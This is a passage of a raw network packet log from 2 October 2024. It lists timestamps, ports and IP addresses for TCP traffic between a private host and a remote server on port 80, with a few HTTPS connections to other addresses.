Oct 2, 2024 05:19:58.644432068 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644442081 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644443035 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.644450903 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644463062 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644471884 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.644498110 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.644529104 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.645155907 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645174980 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645176888 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645226002 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.645329952 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645338058 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645347118 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645354033 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645361900 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645364046 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645365953 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645366907 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645369053 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645375013 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645381927 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645386934 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.645421028 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.645451069 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.645481110 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645493031 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645514965 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645524979 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645555019 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.645555019 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.645572901 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645637035 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645648003 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.645742893 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.645776033 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.653585911 CEST	49770	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:19:58.653614998 CEST	443	49770	172.67.184.196	192.168.2.4
Oct 2, 2024 05:19:58.653671980 CEST	49770	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:19:58.654041052 CEST	49770	443	192.168.2.4	172.67.184.196
Oct 2, 2024 05:19:58.654057026 CEST	443	49770	172.67.184.196	192.168.2.4
Oct 2, 2024 05:19:58.723959923 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.723973989 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.723985910 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724030018 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.724051952 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724062920 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.724149942 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724160910 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724170923 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724191904 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724196911 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.724209070 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724226952 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.724226952 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.724278927 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.724387884 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724397898 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724409103 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724442005 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.724474907 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.724531889 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724541903 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724586964 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.724613905 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.724622011 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724641085 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724651098 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724662066 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724672079 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724683046 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.724685907 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.724685907 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.724711895 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.724725962 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.725016117 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725027084 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725037098 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725050926 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725060940 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725061893 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.725071907 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725083113 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725089073 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.725120068 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.725120068 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.725301981 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725349903 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.725450039 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725461006 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725471020 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725481987 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725490093 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725500107 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725509882 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725521088 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725524902 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.725526094 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.725526094 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.725532055 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725545883 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725558043 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.725558996 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.725558996 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.725579023 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.725608110 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.726106882 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726116896 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726126909 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726135015 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726144075 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726154089 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726164103 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726169109 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.726169109 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.726176977 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726187944 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726191044 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.726198912 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726208925 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726207972 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.726219893 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726233959 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726244926 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726248026 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.726248026 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.726254940 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726265907 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726274014 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.726275921 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726288080 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.726294041 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.726365089 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.726365089 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.727061033 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727072001 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727082014 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727092028 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727102041 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727112055 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727121115 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.727122068 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727133989 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727144957 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727144003 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.727144003 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.727155924 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727169037 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727174997 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.727180004 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727190971 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727195978 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.727202892 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727212906 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.727215052 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727246046 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727248907 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.727257013 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727272034 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.727298021 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.727977991 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.727994919 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728004932 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728014946 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728024960 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728034973 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728044987 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.728045940 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728056908 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728068113 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728070021 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.728070021 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.728077888 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728090048 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728096008 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.728096008 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.728101015 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728112936 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728122950 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728128910 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.728128910 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.728136063 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728147030 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728156090 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.728156090 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.728157997 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728168011 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728176117 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.728193045 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.728212118 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.728904009 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728914976 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728925943 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728935957 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728945971 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728955984 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728957891 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.728966951 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728979111 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.728986979 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.728986979 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.728990078 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.729011059 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.729012966 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.729021072 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.729032040 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.729037046 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.729037046 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.729043961 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.729053974 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.729058027 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.729064941 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.729079962 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.729080915 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.729091883 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.729100943 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.729145050 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.729145050 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.729676962 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.729687929 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.729698896 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.729724884 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.729757071 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.810245037 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.810302019 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.810308933 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.810312986 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.810357094 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.810379982 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.810390949 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.810400963 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.810435057 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.810467958 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.810568094 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.810580969 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.810596943 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.810607910 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.810621023 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.810621023 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.810674906 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.810769081 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.810780048 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.810789108 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.810800076 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.810830116 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.810830116 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.811026096 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811037064 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811047077 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811058044 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811068058 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811078072 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811089039 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811094999 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.811094999 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.811100960 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811114073 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811120987 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.811139107 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.811162949 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.811435938 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811446905 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811501026 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.811592102 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811603069 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811611891 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811628103 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811638117 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811645031 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.811647892 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811660051 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811665058 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.811670065 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811681986 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811691046 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.811691999 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811691046 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.811703920 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811716080 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811717987 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.811727047 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811737061 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.811748981 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.811789989 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.811789989 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.812227011 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.812237978 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.812248945 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.812275887 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.812304020 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.812339067 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.812349081 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.812360048 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.812370062 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.812380075 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.812391043 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.812401056 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.812401056 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.812401056 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.812412024 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.812423944 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.812428951 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.812429905 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.812436104 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.812450886 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.812474966 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.812474966 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.813035965 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813046932 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813056946 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813066959 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813076973 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813086987 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813091040 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.813106060 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813114882 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813114882 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.813117981 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813123941 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813131094 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813138008 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813141108 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813148975 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813155890 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813163996 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813169003 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.813169956 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.813169956 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.813169956 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.813213110 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.813214064 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.900298119 CEST	49771	443	192.168.2.4	49.12.197.9
